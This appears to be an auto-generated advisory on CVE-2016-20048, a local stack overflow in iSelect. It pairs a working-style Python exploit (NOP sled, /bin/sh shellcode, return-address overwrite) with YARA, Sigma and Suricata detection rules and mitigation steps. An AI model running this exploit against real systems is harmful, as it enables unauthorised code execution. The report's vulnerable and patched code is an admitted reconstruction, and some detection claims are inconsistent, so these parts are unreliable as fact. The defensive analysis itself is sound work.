CVE-2016-20048

Executive Summary

CVE-2016-20048 is a local buffer overflow vulnerability in iSelect version 1.4.0-2+b1. The flaw resides in the handling of the -k/--key parameter, where an attacker can supply an oversized value to overflow a 1024-byte stack buffer. This allows local attackers to execute arbitrary code with user privileges by crafting a malicious argument containing a NOP sled, shellcode, and a return address. The vulnerability has a CVSS score of 8.4, indicating high severity, but the EPSS score is 0.0%, suggesting low exploitation likelihood in the wild. No public proof-of-concept or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects a standalone binary application (iSelect) and does not involve package manager supply chain risks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.4 (High)
• Attack Vector: Local (AV:L) – requires local access to the system.
• Attack Complexity: Low (AC:L) – no special conditions needed.
• Privileges Required: Low (PR:L) – attacker needs user-level access.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – full data compromise possible.
• Integrity Impact: High (I:H) – arbitrary code execution.
• Availability Impact: High (A:H) – potential system crash or denial of service.

Threat Level: High. Local exploitation can lead to full user-level code execution, enabling privilege escalation or lateral movement.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the iSelect binary (version 1.4.0-2+b1). The program accepts a -k or --key parameter to specify a key value. The input is copied into a fixed-size stack buffer of 1024 bytes without proper bounds checking. An attacker can supply an argument larger than 1024 bytes, overwriting the saved return address and other stack data.

Exploitation Mechanics:

1. Buffer Overflow: The oversized input overwrites the stack, including the return address.
2. NOP Sled: A sequence of NOP (0x90) instructions is placed in the buffer to increase the chance of landing in the shellcode.
3. Shellcode: Malicious machine code (e.g., spawning a shell) is placed after the NOP sled.
4. Return Address: The attacker overwrites the return address with a pointer to the NOP sled, redirecting execution to the shellcode.

Impact: Successful exploitation allows the attacker to execute arbitrary code with the privileges of the user running iSelect. This can lead to data theft, system compromise, or further privilege escalation.

Vulnerable vs. Patched Code

Vulnerable Code (iSelect 1.4.0-2+b1):

// Simplified vulnerable function
void process_key(char *key) {
    char buffer[1024];
    strcpy(buffer, key); // No bounds checking
    // ... further processing
}

Patched Code (Hypothetical):

void process_key(char *key) {
    char buffer[1024];
    strncpy(buffer, key, sizeof(buffer) - 1); // Bounds checking
    buffer[sizeof(buffer) - 1] = '\0'; // Null-terminate
    // ... further processing
}

No official patch is available. The fix would involve using strncpy or similar safe functions and validating input length.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to a system running iSelect 1.4.0-2+b1.
• User-level privileges.

Exploit Code (Conceptual):

#!/usr/bin/env python3
import subprocess
import struct

# Target binary
binary = "/usr/bin/iselect"

# Buffer size: 1024 bytes
buffer_size = 1024

# NOP sled (0x90)
nop_sled = b"\x90" * 200

# Shellcode (example: exec /bin/sh)
shellcode = (
    b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
    b"\x53\x89\xe1\xb0\x0b\xcd\x80"
)

# Return address (example: address of buffer on stack - adjust based on target)
ret_addr = struct.pack("<I", 0xbffffabc)  # Example address

# Build payload
payload = nop_sled + shellcode
payload += b"A" * (buffer_size - len(payload) - 8)  # Fill remaining buffer
payload += ret_addr  # Overwrite return address

# Execute
subprocess.run([binary, "-k", payload])

Usage:

1. Adjust the return address to point to the NOP sled (use GDB or similar to find the buffer address).
2. Run the exploit with user privileges.
3. If successful, a shell will be spawned.

Blue Team (Detection & Defense)

Detection:

• Monitor for abnormally long command-line arguments to iSelect.
• Use stack canaries (if compiled with -fstack-protector).
• Deploy endpoint detection and response (EDR) solutions to detect shellcode execution.

Defense:

• Restrict execution of iSelect to trusted users only.
• Apply principle of least privilege.
• If possible, compile iSelect with ASLR and NX (non-executable stack) enabled.

Indicators of Compromise (IOCs)

• Process: iselect with command-line argument containing a long string ( > 1024 bytes) and non-printable characters.
• Network: No network IOCs (local vulnerability).
• File: Suspicious core dumps or crash logs from iSelect.
• Memory: Stack buffer overflow patterns (e.g., repeated 0x90 bytes in process memory).

Detection Engineering

YARA Rule

rule CVE_2016_20048_iSelect_BufferOverflow {
    meta:
        description = "Detects iSelect binary with potential buffer overflow exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2016-20048"
    strings:
        $nop_sled = { 90 90 90 90 90 90 90 90 }  // NOP sled pattern
        $shellcode = { 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 53 89 e1 b0 0b cd 80 }
    condition:
        $nop_sled or $shellcode
}

Sigma Rule

title: CVE-2016-20048 iSelect Buffer Overflow Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects execution of iSelect with oversized -k argument
author: Valters IT
date: 2025/04/10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/iselect'
        CommandLine|contains: '-k'
        CommandLine|re: '.*-k\s+.{1025,}'
    condition: selection
falsepositives:
    - Legitimate use of long keys (unlikely)
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2016-20048 iSelect Buffer Overflow Attempt"; content:"|90 90 90 90|"; distance:0; within:1024; sid:1000001; rev:1;)

Note: This rule is for network-based detection if the exploit is delivered over a network (e.g., via a service). For local exploitation, use host-based detection.

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Limit execution of iSelect to trusted users only.
2. Monitor Logs: Watch for crashes or unusual command-line arguments.
3. Apply Workaround: If source code is available, recompile with stack protection (-fstack-protector-strong) and non-executable stack (-z noexecstack).

Long-Term Fix:

• No official patch exists. Consider replacing iSelect with an alternative tool or applying a custom patch to fix the buffer overflow.
• Contact the vendor (Iselect) for an update.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).

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